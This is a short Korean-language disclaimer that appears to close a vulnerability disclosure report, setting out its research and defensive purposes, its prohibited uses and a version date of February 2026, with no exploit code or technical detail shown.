명시적 허가 없이 시스템에 대해 이 코드를 무단 또는 악의적으로 사용하면 관련 법률 및 규정을 위반할 수 있습니다.
저자는 불법 활동을 장려하거나 용납하지 않으며, 이 자료로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.

이 취약점 공개 보고서는 다음을 위해 제공됩니다:
1. 보안 연구 및 교육
2. 공급업체 통지 및 패치 개발
3. 최종 사용자 보호
4. 학술 및 방어적 보안 목적

**금지된 사용:**
- 컴퓨터 시스템에 대한 무단 접근
- 악의적 악용
- 모든 불법 활동

연구자는 통제된 환경에서 개인 소유 시스템에 대해서만 모든 테스트를 수행했습니다. 제3자 시스템에 대한 무단 접근은 수행되지 않았습니다.

**보고서 버전:** 1.0  
**최종 업데이트:** 2026년 2월 9일
도구 다운로드